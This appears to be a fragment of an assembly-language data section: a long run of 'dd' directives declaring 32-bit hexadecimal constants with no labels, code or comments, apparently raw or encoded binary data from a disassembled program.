		dd 0C3603DC4h, 0CD307180h, 0E0F9957Ah, 2298A802h, 0C0885264h
		dd 602E28C0h, 145D7435h, 560FDA72h, 0A0DBE2B3h,	0E3EE1AD3h
		dd 0A9940042h, 0F07A199Ch, 0ED17EBFBh, 0DE008B85h, 4FA4355Bh
		dd 0C6E100B0h, 6F9B3DF7h, 0CC003160h, 1BEB234Ch, 71ADA7Bh
		dd 25A8176Ah, 0B2A5832Ch, 99D29588h, 0A4003EF6h, 78ED28E4h
		dd 9807C527h, 0D15E006Ch, 3E3354E5h, 0D43E2F97h, 509180CDh
		dd 0DA2D62A2h, 0DD9600C3h, 2E153109h, 0FB03F475h, 1310D47Ch
		dd 0AC38F0B0h, 2AFE4C2Ch, 0E005A3Fh, 718EAA8Dh,	5C00B47Ah
		dd 0C09ED9D4h, 9F8F7Ch,	0D5B86E84h, 895E05CCh, 0B53C1100h
		dd 8CCBC30Fh, 126A775Ch, 1FE2484Ah, 40274F1Ch, 9EC80F57h
		dd 843DA180h, 46004E09h, 0CA648671h, 139C15C0h,	10D22BF8h
		dd 2A00B892h, 8A53E2B0h, 4B005FAAh, 2F4C82A0h, 1CC38776h
		dd 81B4A135h, 7B3A366h,	3A753099h, 31757401h, 0AA9AE026h
		dd 3DBDEDECh, 2A823B41h, 0B4772CA4h, 4F63A940h,	0D90BFD00h
		dd 0B76AF5EFh, 0BC7600E4h, 8747367h, 0C8B4D05Fh, 80C5A609h
		dd 934FA7A4h, 252601CAh, 582C6069h, 407BDCFDh, 79B48300h
		dd 0F1D83811h, 0B76015Dh, 82ED3A2Eh, 0E03CE5h, 2A509BA6h
		dd 0B524085h, 9C711049h, 0B82F1900h, 3E77E267h,	761DEC00h
		dd 0F5F86330h, 1A2E041Eh, 80731B03h, 67FC3804h,	0D5E0CC04h
		dd 880D2E1h, 20106Ch, 51D8CF09h, 9D55B3DBh, 7D00F6B8h
		dd 4DF74202h, 716E53h, 0EEAAB491h, 37C07786h, 0CE0096B8h
		dd 5DBC08A4h, 978FDBh, 39109F2Eh, 0A39CC422h, 0F214DC9Eh
		dd 0C08FF0E0h, 0EE7A2ECAh, 4504005Ch, 28192A3Ah, 0C1AEA70Eh
		dd 0E4B86005h, 985C85h,	68FED7F3h, 52819724h, 0C01CA728h
		dd 627AFF0Fh, 35780ACh,	0BFFDD5h, 0B55BB1E4h, 165AC273h
		dd 35B6C005h, 3F80BB24h, 0E07007FDh, 0AD5300C7h, 0DD9CC92Eh
		dd 0D60ECBB0h, 0DEB2280Bh, 9041AB9Fh, 1FEE89DBh, 2D38B9E0h
		dd 971908h, 1831B5E2h, 0E70011DFh, 67C7CCEDh, 10E60Bh
		dd 1849B65h
		dd 71FB7621h, 0D2D58A0Ah, 0D01E0DAh, 45D9C6FDh,	54F024h
		dd 7EBCE9AEh, 4C9F0591h, 0F918EE60h, 0E2E65289h, 375107CDh
		dd 60E4D5D8h, 60DA4941h, 2A25F700h, 0F053C014h,	0A5784Ch
		dd 3A7A51A9h, 8AEA9971h, 45A5409h, 20CA0FB1h, 47FB8093h
		dd 39AF00E8h, 0F0D055BCh, 0C8009FADh, 990A4966h, 12D95881h
		dd 1DA4FE4h, 3736AB88h,	0E2F840F1h, 1600F0AAh, 0FFE3FB54h
		dd 257F8C47h, 5000E77Ah, 61EE5971h, 8E2868EEh, 400E275h
		dd 4F12BAA1h, 5C8729h, 6FF87A37h, 47B1281Ah, 0F72B251Eh
		dd 7A7DC80h, 0F477B827h, 1B381C03h, 0B397006Eh,	0E290BC6Dh
		dd 6000DD77h, 0B6506C9h, 9879E1h, 490C137Ah, 0E7AB57C1h
		dd 6CB1EB00h, 54880324h, 37330201h, 0CF0C8F02h,	7B8738E0h
		dd 0C10061FCh, 137E1046h, 0F81166A3h, 698F03CFh, 0A1BDE0ADh
		dd 0EB1AA8F8h, 5701E58h, 2F94144Ah, 0AE6500BBh,	58B18FA5h
		dd 4D81EC00h, 92A36A1Eh, 83F5054Ah, 0C0C3ABF4h,	0E6ED2FF8h
		dd 0D729B100h, 204D4CDBh, 1E5B0002h, 0D03BF6D1h, 3407533Ch
		dd 0AB272197h, 0E50C816Fh, 42F42C63h, 6EEF3F31h, 70FDF400h
		dd 0D3647F77h, 58C5D10Ah, 9B00B011h, 0C4E568FFh, 93AC001Eh
		dd 0D62130A6h, 9D0E7312h, 0C06043F9h, 0E3C1178Ch, 2D420F15h
		dd 25C0AA55h, 0A052AF4Ah, 826F9500h, 0F95103F3h, 9C38005Bh
		dd 0F42F271Eh, 11053B1Bh, 0F5FC39F0h, 1129888h,	0F62EA635h
		dd 0FCEC6FC9h, 0B00B431h, 95B799C4h, 7058C33h, 52636A0Ah
		dd 888379C7h, 0EDC8D462h, 2D03E790h, 6F33D2D1h,	0A35EB013h
		dd 0E5A6767Ah, 55178C7Ch, 8F6C8038h, 62002886h,	976B4A05h
		dd 27B953h, 211AC5C8h, 0F5783820h, 511BBF01h, 0A31434EDh
		dd 0E4998CFCh, 0F27CA1h, 0DC464240h, 0E6E6B69h,	0F631D83Eh
		dd 0A805F43Bh, 7400A70Ch, 9FEF4FF3h, 0B9A0D9Bh,	0AFD6B862h
		dd 0A8637000h, 0CF048326h, 0F408C759h, 2EF9E9C0h, 0DB1000A4h
		dd 15CA095Fh, 171DF0E7h, 0E300B239h, 8AE5069h, 6B8600D1h
		dd 9866F7D2h, 8D001827h, 53F0E693h, 9B2B21h, 1A4CB957h
		dd 4F586EF5h, 0AEBA7C03h, 0F9CC3554h, 22C95B97h, 0CACCC2EDh
		dd 8D581F47h, 99508038h, 77AD24Ch, 5F746E00h, 0DBE8F512h
		dd 0D48900E7h, 51C95391h, 0E9000D3Fh, 0C8071F4Bh, 3CA405BAh
		dd 0A30B1C41h, 0E900A29Fh, 46D492B9h, 55874905h, 0A8A3A026h
		dd 0BFB62800h, 0E51EEEA6h, 1622790Bh, 35102066h, 3D7F40h
		dd 828A5403h, 52AC0108h, 0B875BE03h, 98D04138h,	2FD91ADBh
		dd 58A0CCB4h, 1152538Fh, 0B73FE300h, 78087D99h,	0AB5600BBh
		dd 0EEDD7939h, 472F388Bh, 0FFB88075h, 0BE0754h,	8F80DC4Dh
		dd 0E14901C6h, 80C0D93Fh, 31E928DAh, 7BFD063Eh,	39B2A067h
		dd 6E609918h, 78B4FFA0h, 59B8B50Ch, 7B847200h, 0FB4DF9A8h
		dd 277600CDh, 1BA2A1A0h, 2C071789h, 0C6B57EE6h,	210EEBA0h
		dd 0D39A004Eh, 0B1E15054h, 75001D51h, 0E501D147h, 0E867B7Eh
		dd 0BE0D6A88h, 444ABCE0h, 0A000398Eh, 5A3D9A2h,	11F5F76h
		dd 0E64BA508h, 0E8066DB0h, 0F81EC299h, 0E38009B9h, 0E4A350E1h
		dd 0FDC002E5h, 4CAA12Dh, 911850E0h, 347BEA00h, 79B7737Dh
		dd 46940040h, 0A3E7D5E9h, 0D70BACDAh, 805A0359h, 6F264C2Fh
		dd 70B800F0h, 0CADB7DD8h, 291EB597h, 0D1C05DBEh, 48B1D945h
		dd 0B44A56h, 3931C48Ch,	74006202h, 1FCC51D3h, 59B50Eh
		dd 0D7D1DF89h, 0E5F6F133h, 0B100137Ah, 7B157EFBh, 86FFFAh
		dd 0C990D202h, 18CE8932h, 2CBEE001h, 105781F4h,	0C316CC40h
		dd 5A340171h, 4D8DE61Fh, 0AE962075h, 0A2150227h, 0C0BB354Ch
		dd 98F395h, 0AF9C06C6h,	4A14F43Ah, 331E3Ah, 7422ECBCh
		dd 1F59DA8Ah, 0C05EF6E1h, 72108B2Dh, 6D009B57h,	0AD4A6FFBh
		dd 0B0918145h, 48CE162Ah, 0E28405D4h, 3714C0C8h, 88B4A825h
		dd 130E500h, 72745D8h, 47AE9695h, 8492004Bh, 0B31C944Dh
		dd 86009AC8h, 0CB7352A6h, 0BE1C018Dh, 0D07CD79Fh, 0EDC7DC6Eh
		dd 5F230317h, 56A4E445h, 0DEB3AC40h, 7441E2Fh, 11C6C987h
		dd 5E967065h, 0C000BA55h, 8EA10AEFh, 1C20F062h,	0C0EDB413h
		dd 15893396h, 9A1D12FFh, 0B2C3C7D8h, 98A7C98Eh,	59ADDAh
		dd 0DFFC18C3h, 19680345h, 20837A2Eh, 96A92C00h,	2B7F55h
		dd 79264DFBh, 0CC49C98Fh, 0EB1E800Eh, 11D2088h,	0D258BAh
		dd 0EA93359Fh, 3AA2912Ah, 0F4165317h, 0FB4B9600h, 0E44D9E45h
		dd 90FA00A6h, 624A75Bh,	5704B895h, 0D77B771Ah, 10CE2AC1h
		dd 8693E8h, 0F0929E2Fh,	0FA479CFBh, 0C35CF600h,	874E9442h
		dd 706A0BBDh, 0A4B0DE43h, 1C94659Dh, 1B748502h,	0DA444880h
		dd 0F86CF72Bh, 0EBBCA092h, 0C171C025h, 51DABEB0h, 0DA3EBBE0h
		dd 0E0080079h, 0F0E995C6h, 0EF988A94h, 6DEC8400h, 5C04A8B9h
		dd 4CA31F3Bh, 1A4F80F5h, 8DFFF134h, 9D697700h, 54571F31h
		dd 64EC003Ch, 0C396D486h, 58B0E0B0h, 0D2806F00h, 14BBE30Dh
		dd 5F9519C9h, 0C83AFCDDh, 0BC9ECB8Dh, 6003CA24h, 0E12D19h
		dd 58CD5010h, 0CB776DC5h, 44058E00h, 0B13406FEh, 0E1E6300Eh
		dd 3371A939h, 0C4ACD800h, 0BFCC54C5h, 4A0C0E1Fh, 9E80A4D7h
		dd 2B65FD7Ch, 9D8D9500h, 0E6381446h, 392A03BDh,	4C061F53h
		dd 213362A0h, 74135C07h, 3F206E3Bh, 0B938A6h, 0D3B26104h
		dd 320E786Ch, 5167B709h, 80780AFh, 9B5582h, 560A4409h
		dd 0A3E8F417h, 3E91A400h, 49C82A88h, 41C70057h,	81BED3A1h
		dd 0D5002D62h, 3E063BA2h, 0FA3DE8E5h, 8AB70068h, 0A89E7626h
		dd 0D400536Eh, 0D8EAE151h, 731B57h, 2C8C8418h, 0BC8B1689h
		dd 5200E9E0h, 6FB3F055h, 0F30E15h, 5871CE32h, 0F63E4C2Fh
		dd 3601CBE4h, 73D35BB7h, 7C705CD7h, 661E0002h, 0F64CDEB4h
		dd 0CA005289h, 0AF148DE0h, 0BEFF53h, 93E8A340h,	60B0A748h
		dd 23264600h, 738968C5h, 57DB2EF7h, 5E3B1D48h, 7E11805Bh
		dd 8ABD30EDh, 63006CB0h, 2ACDAB09h, 3E364Ch, 0EF4A9C9Bh
		dd 10611F15h, 7BFE4507h, 333001B6h, 4CB4A05Ah, 0C00ED907h
		dd 0C6278F1h, 0DCD01AAEh, 0C946A21Fh, 10099C00h, 103EBA6h
		dd 0F747AA78h, 200F4C3Eh, 3B1ECD30h, 0BBBCCAh, 6AE998DDh
		dd 4D172DBh, 33141611h,	1568D049h, 9B00D4BEh, 0EC8B7DBFh
		dd 2D10D31h, 0B6452F5Fh, 0AEE09174h, 0C8008C8Eh, 0CAAEA665h
		dd 7156A83h, 0AFB8CBDBh, 74608ED0h, 0F38ADE90h,	3400F6B8h
		dd 0DDD7E7C7h, 1069D1h,	38C42C0Bh, 1FC663A0h, 3F84F31Ch
		dd 0B0CA4340h, 6D5554h,	13900A7Eh, 0B2A13C30h, 8597F700h
		dd 934DB05Bh, 0A4E8C0A6h, 96114B63h, 84285D3Dh,	81353F05h
		dd 37C74F80h, 0D6E100EBh, 0C1AE8F25h, 2F001E3Dh, 0B28EE732h
		dd 0E2C64D7h, 0DB9371A7h, 0EEB61701h, 7F7BF040h, 0FF130F00h
		dd 30D33132h, 0FE123020h, 0EF94C4F4h, 101C3894h, 962B6AC6h
		dd 3BEF850h, 644E93AAh,	83C829C6h, 9200D636h, 21E66D47h
		dd 1313A728h, 40713D79h, 0FC1A584Ch, 0D8002F38h, 934B1E0Bh
		dd 28056288h, 9FB216h, 0AEA9B8C6h, 83E775B0h, 20319701h
		dd 0D1B77CC4h, 1F821E4h, 319CD22h, 61AE3DC7h, 0C8CDC61Ch
		dd 459E8139h, 26937E2Bh, 48795EC0h, 2D041009h, 800FC65Dh
		dd 5845E871h, 3954F600h, 0C47D10B7h, 0E39807h, 0AC46DCC5h
		dd 82BC6357h, 807E1503h, 0B83CEFFDh, 5A51422h, 945799AAh
		dd 45B080CCh, 84009B6Ch, 0A447F1E5h, 0C388C2F0h, 62EC41A4h
		dd 4E8B4CD8h, 96003672h
		dd 817E8499h, 0E28F591Bh, 3BB5035Ah, 0AC45A4A0h, 0BF1E9C90h
		dd 66FD0E00h, 1F199123h, 3189004Ch, 0DCA796FCh,	0F200B347h
		dd 588DFE55h, 6C1BF8h, 435F1AB7h, 0BD4CC72Eh, 42BB4401h
		dd 7D80F46h, 938DCh, 329FDEA0h,	293573B9h, 0AF0E6703h
		dd 0ECBEFE1h, 869EC056h, 2D1BF5A0h, 0EA00F39Fh,	41DB81Ch
		dd 0E4BE2Fh, 55259734h,	0C5CCAFB9h, 0FF3AA003h,	0A8984EAAh
		dd 22AFCh, 34D17D35h, 19110A9Bh, 0B3FEF500h, 3EE232E0h
		dd 657F00A4h, 424B17ABh, 8028CA14h, 0C600C875h,	556F6A01h
		dd 0DD11B5h, 9D95175Bh,	8B422CDBh, 0F051478h, 0A5BB40ADh
		dd 0AC54F0h, 0F2D0EDBFh, 936ED727h, 32B1EF00h, 0C6A67A83h
		dd 34875C57h, 0D2E54A00h, 0F349BB69h, 60BF5400h, 79BF701h
		dd 68A0035h, 39D9AA9h, 21000C66h, 206DE2E1h, 77EEB2B4h
		dd 275B035Eh, 53120A6Fh, 0FE11EC0h, 1C4E3B00h, 99B9E40Dh
		dd 98470AD4h, 18BDFF08h, 0DF6910C0h, 8463971Ch,	0A500C3A8h
		dd 0E1557A1Ah, 1CD54Ch,	4A0D8C76h, 0EBD6C754h, 1569700h
		dd 0BDFF9C93h, 420A0214h, 67DB58F7h, 21809C76h,	648DC55Fh
		dd 0C9A90005h, 226E1AB0h, 0DE0066FFh, 0EDAC8E38h, 18E6BB3Ah
		dd 70A77ADAh, 0CC005B8Dh, 704651DEh, 0C645C2h, 7139844Ch
		dd 0D80E6F2Eh, 2A94E31Eh, 3327B002h, 3014E0F8h,	0F90F0182h
		dd 17BA3552h, 0EC91C8E9h, 0AD166F04h, 6DC7A8F3h, 0C33C2880h
		dd 5772015Fh, 0A06024CEh, 20FC6188h, 0AF0084E8h, 1F546F02h
		dd 9630182h, 0A5584D9Fh, 40B27850h, 432ABC00h, 15AD083Fh
		dd 0AB120BD4h, 0A8E6637Bh, 0FBBC4001h, 0FA787CD7h, 0C4E498D7h
		dd 9925008Ch, 0EED12E1Dh, 1F0C52E6h, 700221A3h,	0CC570FE5h
		dd 7300DCF6h, 28F0145Ch, 382C5B00h, 133EBDD3h, 0CF4B4CA0h
		dd 1BC47101h, 0F0B1DD65h, 0FD714A64h, 8D331000h, 2CA466FBh
		dd 0AF0E4C72h, 1450C503h, 0A189015Bh, 0EC8FF404h, 4013E400h
		dd 64117C60h, 7E9012h, 900EE11Dh, 345FEC4Eh, 89EE3EFEh
		dd 1BE2482Eh, 61A2AF07h, 0AECDBC80h, 59C403A0h,	111A5EDBh
		dd 86AC6FC0h, 8C8BE21Fh, 17EF3400h, 0FB69B16h, 7E108813h
		dd 1E8A5A00h, 0D773B13Fh, 0E2DC0700h, 915DFDA0h, 7E0B61D4h
		dd 0CC587C08h, 5A00ED26h, 0C6542AC7h, 4E41FF03h, 141BF0CCh
		dd 0C00E2ECh, 8C01CD04h, 0C6F619h, 6BE70B6Eh, 0C91EC45Fh
		dd 68AC6A00h, 0DC25ECAEh, 0F477305h, 0B6BFCD9Eh, 0D87C80A0h
		dd 8B0714B1h, 5E27BD0Dh, 0A9350890h, 3C1900B3h,	6B309279h
		dd 2A1FB180h, 0CB80B4D7h, 9500376h, 2B880015h, 0A6CFB4Bh
		dd 91F6AEEFh, 75BF3Fh, 0D9E099FDh, 7954578h, 0A3A9184Ch
		dd 0B251709Fh, 287C7A07h, 0F80AFA04h, 0A849CAh,	26FEA680h
		dd 0AF308AD4h, 9FED481Fh, 755D00A2h, 0CF328892h, 6903EFB3h
		dd 554D6250h, 97E9D089h, 0E0C318AEh, 938A2033h,	0B70B5800h
		dd 13862466h, 0B02CF0D5h, 0D67E00BCh, 0FECE4F6Dh, 2800A1D7h
		dd 0F07D0D08h, 0F63295h, 0D263898Fh, 68A65774h,	0F10EE7EAh
		dd 7F2C85h, 0BA5A1643h,	3BCF00F2h, 86702507h, 267885BFh
		dd 2C1D7C58h, 2F00CC90h, 699D45BDh, 0E9010009h,	0BF65CFFEh
		dd 2D00D48Ch, 2ABA7408h, 4C5E80F6h, 6300C7CCh, 0BBF0928Fh
		dd 0E33A252Fh, 7CDD00A2h, 5E99DC9h, 0BA6E004Fh,	73837502h
		dd 0C3B5318h, 0DADB00D8h, 9EE86DA8h, 3FE23034h,	1B0F9D80h
		dd 0B003F890h, 8D95A1FCh, 0EE9FA0FEh, 0B8207746h, 0EF5B00B4h
		dd 0A8B92450h, 81742FF4h, 0FCCE6A00h, 0E659769Eh, 9A2101BAh
		dd 0C4CDDB0Bh, 3FCEA6ADh, 93D46100h, 35FAAB5h, 0B7D37D80h
		dd 56C085E1h, 8F018CC6h, 237FBF0Ah, 1880E8A6h, 0AB9F3C18h
		dd 39170CCEh, 60405041h, 3A45E51Bh, 0B2020788h,	0F3DB2D77h
		dd 7EE81008h, 0FE0F4718h, 0A0A49093h, 3F4E56D0h, 6FB8FFh
		dd 4C7FDB0Ch, 2CA9D2E7h, 0C0AA5900h, 42E64905h,	0D8CB1E64h
		dd 407880FAh, 9E0AF7CEh, 6585B803h, 0F07A4436h,	1C974B6h
		dd 0A5DC75AEh, 70BB5E52h, 0DD3F29BDh, 35E60666h, 63FCA04Bh
		dd 1956B085h, 696B47E1h, 7E500F8h, 1F782042h, 8BFAF0h
		dd 0D997D1BFh, 0A60A83A5h, 800B8F3Eh, 32B48C39h, 0EE849E4h
		dd 0E2F82DDFh, 0C80500D3h, 0C93CBA6h, 0B7004B72h, 0F343D09Ch
		dd 0FE3BA5Dh, 0B56140B8h, 7A1F6380h, 9C0007EFh,	0AE82BE83h
		dd 6CDF16h, 5BB38408h, 7AB65011h, 0D10A7C00h, 0EB882E9Eh
		dd 0F3570139h, 0FC9B5F12h, 6E26F002h, 0B9C42901h, 763DB038h
		dd 7C3016C3h, 5FB0E027h, 3342F100h, 0DD410536h,	3C40B070h
		dd 4A01AAC9h, 0B5A651C7h, 0B737FC26h, 85CBCC3Eh, 38429B44h
		dd 5884BCB1h, 90653B2h,	1038C383h, 85EC859h, 8437A621h
		dd 2B2707Dh, 22119FA9h,	6C2278B3h, 97AA1010h, 428FD840h
		dd 2A621C0Eh, 55410C42h, 9FB91002h, 7142C702h, 221659BDh
		dd 402456DFh, 11649231h, 0AE08362Bh, 7984C654h,	5D2C9150h
		dd 0F16158A3h, 45641F59h, 4002D403h, 0CECA8C38h, 0C680A07Dh
		dd 397417Ch, 0FB03EE2Eh, 6AA06B43h, 0DC149C0Ah,	6C4EF31h
		dd 0D89BFCDEh, 61511DD1h, 42CD0952h, 0F44D4420h, 6C07B187h
		dd 9BE8DB5Fh, 6E148F50h, 0A9B30371h, 4EBD5BC7h,	0BA41D0C0h
		dd 0BE9BCF01h, 0E2174A40h, 63AEB8CFh, 0C14603FEh, 6E74A10Ch
		dd 3CDB15C0h, 0C3FA3600h, 0E92CFC42h, 0A29D0099h, 57319752h
		dd 8A0051B8h, 0BF46DCFh, 0F115F29Eh, 0A1652EF0h, 0A0F0549Ch
		dd 0F8801823h, 0F15868F9h, 0C8CB4E30h, 554D5B7h, 2C939A26h
		dd 0C3980405h, 354C8781h, 0A598400Ch, 27C59EBh,	0AD7DAF00h
		dd 1BBB53E3h, 0EC451FE9h, 0EBD80364h, 1DA124BCh, 0C9F9E099h
		dd 9871B105h, 0B3C0DB8Fh, 78955F4Fh, 0C8EF0F56h, 4143ACC5h
		dd 7680068Ch, 3BFC192Ch, 0AAE6CB00h, 0E8CCA168h, 938C000Bh
		dd 0B2B1E7A7h, 69244238h, 33A44ABh, 20A102Eh, 0E8DA01Ah
		dd 616B0046h, 0E854FB34h, 8B03A759h, 0FC7A264Fh, 0A97B0D2h
		dd 88430105h, 81224E63h, 0E3183434h, 0B0426100h, 2E89B65Dh
		dd 0D78F31B7h, 0F87A37F8h, 117CAF04h, 464DD503h, 0C8FEFB8Eh
		dd 2905632h, 0DF733C8Bh, 34C8DE41h, 0F8005249h,	0FF7EDABBh
		dd 7FEEFD75h, 14A948C7h, 7A7B50h, 0F855F25Ch, 0E3CEDDF0h
		dd 5A000BF0h, 0C5A63885h, 0D0A808h, 6159C32Fh, 6494D1F8h
		dd 6DEEC900h, 1DC53AFAh, 539073Bh, 4E380BDBh, 3C638EC0h
		dd 73004CF8h, 8ABDB213h, 8AE2Dh, 0DA74314Ah, 9208D2Bh
		dd 173DA103h, 625B7Eh, 9A7203B0h, 0C8DB5829h, 0CFC70100h
		dd 0B1AEFA7Dh, 0DC340177h, 1E19F6C0h, 389824A9h, 49EE123Ch
		dd 0BB63007Ch, 398FA7EFh, 0C57C009Ah, 6A5C05FFh, 0E500198Ah
		dd 0F5B1A2Ch, 0C0E29F3Dh, 0B6D65141h, 1D0A3A1Fh, 0F0BE8192h
		dd 3D4D6F83h, 6BF5D07Fh, 0E2F00076h, 0DDCC8C25h, 0E90058ABh
		dd 0C65E17A4h, 61257h, 80BF908Eh, 0C40EB667h, 0A45C9A2Ch
		dd 0C83E798Ah, 4F88B880h, 7659D51h, 0C62F11D5h,	0DC1E109Bh
		dd 0D8F8AF86h, 1300BD70h, 0EB7F276h, 3877354h, 27BB6174h
		dd 1E8BFD69h, 0EFD2EEA0h, 0DF00C7EAh, 902D348h,	0C299C75h
		dd 0DAD8EDEAh, 0BF067E12h, 580B5A9Bh, 840700BAh, 13C049C1h
		dd 0E4008018h, 0E0294F2Ah, 3D3B761h, 2E9F4D07h,	4990537Dh
		dd 0E100AEA3h, 27C47E05h, 35D44D9h, 0B6E80809h,	80E7EEA7h
		dd 4A07D2D1h, 345BB02Bh, 8020FCE6h, 0C5C1734h, 5B08CE06h
		dd 0B9A00381h, 3000FC27h
		dd 179E363Ah, 1F52CC4h,	8D96E748h, 8041710Ch, 64FA4788h
		dd 779178Eh, 7E040857h,	394DA30Eh, 0F1242003h, 0E0E68DF2h
		dd 5556Bh, 6228BE36h, 0D3EC9C68h, 8D077A18h, 2E6490h, 33D6A472h
		dd 87B17D66h, 1846BACEh, 17AD969h, 993A0EA4h, 0FAA2745Dh
		dd 0DC002274h, 0A6FF2439h, 0F2787Bh, 4960CCE9h,	0F59E3A09h
		dd 0B19CFE03h, 0A8EE5F7Ch, 3A2AF607h, 0D40033C0h, 800947E2h
		dd 1100DB16h, 807A1E7h,	0FF8644h, 9AC6D853h, 0D280268Ah
		dd 0BB39A7F0h, 77991C10h, 0A5F6FA40h, 65FE98h, 48D28915h
		dd 515B6BBCh, 43403503h, 0A04F28ABh, 75B417h, 5484DB66h
		dd 8FCED139h, 0B77EE500h, 61297952h, 91960069h,	6A8D77ECh
		dd 0D007AB6Dh, 622253A2h, 9671FC50h, 0C21C38F5h, 66CD5B9Dh
		dd 8F5D0EBFh, 9E3FC8C0h, 0CE00A3D3h, 9C55BCF4h,	304F9B6Fh
		dd 1A82937Eh, 3A003630h, 2AB8C0ABh, 72CC9CE3h, 0CAEB023Ch
		dd 78CE5F21h, 75199E60h, 77D6600Eh, 0DC403D45h,	0C696C4B0h
		dd 0F6290723h, 0A0A3F54Fh, 260421BBh, 0CD1938h,	8A444C59h
		dd 60CBC8h, 62FB8092h, 3F0EE554h, 17C65000h, 0D4F2A7E4h
		dd 0F40EC7Dh, 589A5CD7h, 9F2F83A0h, 0A800F028h,	0B4EFB5CEh
		dd 50B018DEh, 1FCF94A0h, 896A5DF7h, 1980DD07h, 9F57CCACh
		dd 25746600h, 0C2D12B39h, 0FEC00BFh, 70D894A2h,	51FA1535h
		dd 98A61C0Fh, 6421A07Bh, 1E17CA5Ah, 278FE1h, 28523AE0h
		dd 8C0386F7h, 0A9E41AF8h, 0B267B9D2h, 73EB0F0h,	99AE4E40h
		dd 65588031h, 0B71F25BFh, 0C90090F0h, 0B406B9A5h, 6FCC2C49h
		dd 189C030Eh, 0BBB8D805h, 0E00171B3h, 0CA8B2FFEh, 7ADC40B0h
		dd 0C589009Bh, 0F0DD2518h, 0EB007C57h, 75B28CF2h, 0FCC3A21h
		dd 20C145F5h, 0C56BBB03h, 0FF03EF8h, 94346200h,	8D804FFh
		dd 0B96000ADh, 9CB2833Bh, 34F4C7D7h, 0ECA76300h, 9DFA0F3h
		dd 0B06F0015h, 3EC0EE80h, 2001419h, 2CE318E0h, 8FDB61h
		dd 843BD907h, 1980B222h, 3D3F2A06h, 903853B8h, 4658011Ch
		dd 815BA5F9h, 0C90FC4B3h, 86A9B200h, 1494F6A1h,	2DF02Eh
		dd 0EBDF5D2Bh, 0D859971Fh, 0E2547500h, 63994FDCh, 0D9760048h
		dd 0F11AE34h, 2000B513h, 7D2A6A08h, 3B74FDh, 0B4A92270h
		dd 0DEFCB85Ah, 0E6E98F0Fh, 0F1618079h, 48D2094h, 2DB74AAh
		dd 0DD34C085h, 4A00317Ah, 0AFD9D22Eh, 24207Eh, 9828BC2Ch
		dd 0DD1C38EEh, 0B90B6B00h, 0EAAC9E2Ah, 56EB0044h, 0D6856212h
		dd 590004CBh, 0CDD40FA9h, 0A48D13h, 0B87C932Eh,	0DEC971CAh
		dd 87AED000h, 3983A27Eh, 0C4DB0098h, 0CA429E31h, 0D20007B7h
		dd 7966B58Ch, 182A9FAh,	6E067A8Fh, 0E03B38F4h, 1BF04C5Ah
		dd 0EDB9622Ch, 82015612h, 387BBE14h, 3E74A5D4h,	2A8EFD0Eh
		dd 0BC27FEB1h, 5918F07Fh, 0F2053A16h, 389640B8h, 0A5AC72C0h
		dd 2BB907E5h, 56576Fh, 0B497F534h, 8E254700h, 7D30E727h
		dd 0DED2009Fh, 8F318867h, 410397F3h, 79854925h,	0F8B0BFA5h
		dd 12F0962h, 0B6D2471h,	418C602Eh, 0E6C2E7D5h, 45FFB480h
		dd 0EE039120h, 8E9D3E95h, 9086C8FAh, 771100F4h,	4796CE0Ch
		dd 7C00FB05h, 212F72A7h, 0E84C2340h, 25E8C0DDh,	528D3733h
		dd 50516E00h, 0E539C9AAh, 0CBF8C0A7h, 5C109CFBh, 0BC661D1Ch
		dd 18B3AA00h, 0DEF2F3h,	0B53DF547h, 0D4AB5F30h,	3102DC90h
		dd 2F56DCCBh, 0AFFD875Eh, 0E0D6B4F3h, 0E0020619h, 6B0F3E1Ah
		dd 0C335E900h, 0E3E48DFBh, 91A0214Bh, 0DEFCE108h, 2363009Ch
		dd 0C52ED17h, 450F86A5h, 0C093D477h, 547C8544h,	608B01EFh
		dd 0B884F643h, 6CA07059h, 1BE61400h, 1FE76711h,	0BC365015h
		dd 755100B6h, 5A022335h, 0E81F9C7Bh, 8080F882h,	0C7060B50h
		dd 60040590h, 0EED7D873h, 0CDFE7807h, 0C0113061h, 0AD9AF8EBh
		dd 971000E9h, 1475406Ch, 5A262C93h, 0F40EBAB3h,	56E60EEh
		dd 74E22D1Eh, 2FFF2ED9h, 0D2B4006Bh, 0DECA7149h, 0B8509B1Eh
		dd 0B51EE000h, 3EFF65CDh, 639787A8h, 8D1293h, 0CA51D780h
		dd 3B03D5C8h, 0A1A5AFA6h, 32E0EFB9h, 5F0BB2h, 0C1A387FBh
		dd 0A5D7B525h, 4419FA00h, 362071A1h, 2CB10C81h,	0F3900B84h
		dd 40B67800h, 8215DDB0h, 29380348h, 0A3C77BBh, 0ED49FFD0h
		dd 73B34E00h, 9EE7DB25h, 51E8006Dh, 4D1652A1h, 84005419h
		dd 3B6AEF61h, 0F504FBh,	8F45EB0Ch, 964D861Ch, 0A6AF5E00h
		dd 9014118h, 0E19400B7h, 44FE6C7h, 6B03AECCh, 8B453B70h
		dd 184DF068h, 95E0019h,	34BC244Fh, 0E9002AAAh, 0A2752DF7h
		dd 35C2868h, 157C0813h,	0ADD089DBh, 17007F4Fh, 0E2EA9802h
		dd 3C132CD4h, 0F38065A3h, 0CBB0CC44h, 0C500278Ah, 6A4D5BB7h
		dd 5586CFDh, 72F6FB95h,	0E51B80E4h, 6E49F7C6h, 0B1440390h
		dd 8F6F1Fh, 0D4DA1060h,	7E9964E6h, 65596800h, 0DF187834h
		dd 0A13D3927h, 8D81B200h, 0A5C717A0h, 0A9F9D300h, 6D411229h
		dd 0B88800F6h, 0CDF8738Ah, 274C1E9Dh, 84AF00E0h, 0BE4ABD24h
		dd 7CD30093h, 8EECCB10h, 0DC925268h, 9C656200h,	0BA08FBAEh
		dd 3D7E4Ch, 82CC53B1h, 0F820C7CFh, 8CDAF500h, 0F73489Ch
		dd 3BA407F6h, 0C08BC01Eh, 0B95E7B52h, 1C307A00h, 0E9D75966h
		dd 0B6A048B4h, 2B994203h, 0F8CBC9F9h, 8C024098h, 0F1B0B10Bh
		dd 6E005F76h, 6E3929C5h, 0F500E9F8h, 41E22C2Eh,	8EF73Dh
		dd 6016B4CFh, 70AEDBF9h, 0BC2A8D0Fh, 4FE2C01Fh,	7EE172h
		dd 0D9974221h, 0C9FF6362h, 8126D53Bh, 16FB3823h, 4A20B0EFh
		dd 0F77000Ah, 0D1EBA8A4h, 7D00AE9Bh, 0FE136731h, 1F76E4C2h
		dd 83E9DFB9h, 3E5BC711h, 98278000h, 3C9D4571h, 3386070Bh
		dd 40807DFBh, 7B4FD38Ah, 2E4CA9DCh, 0FA21302Ah,	86D800EEh
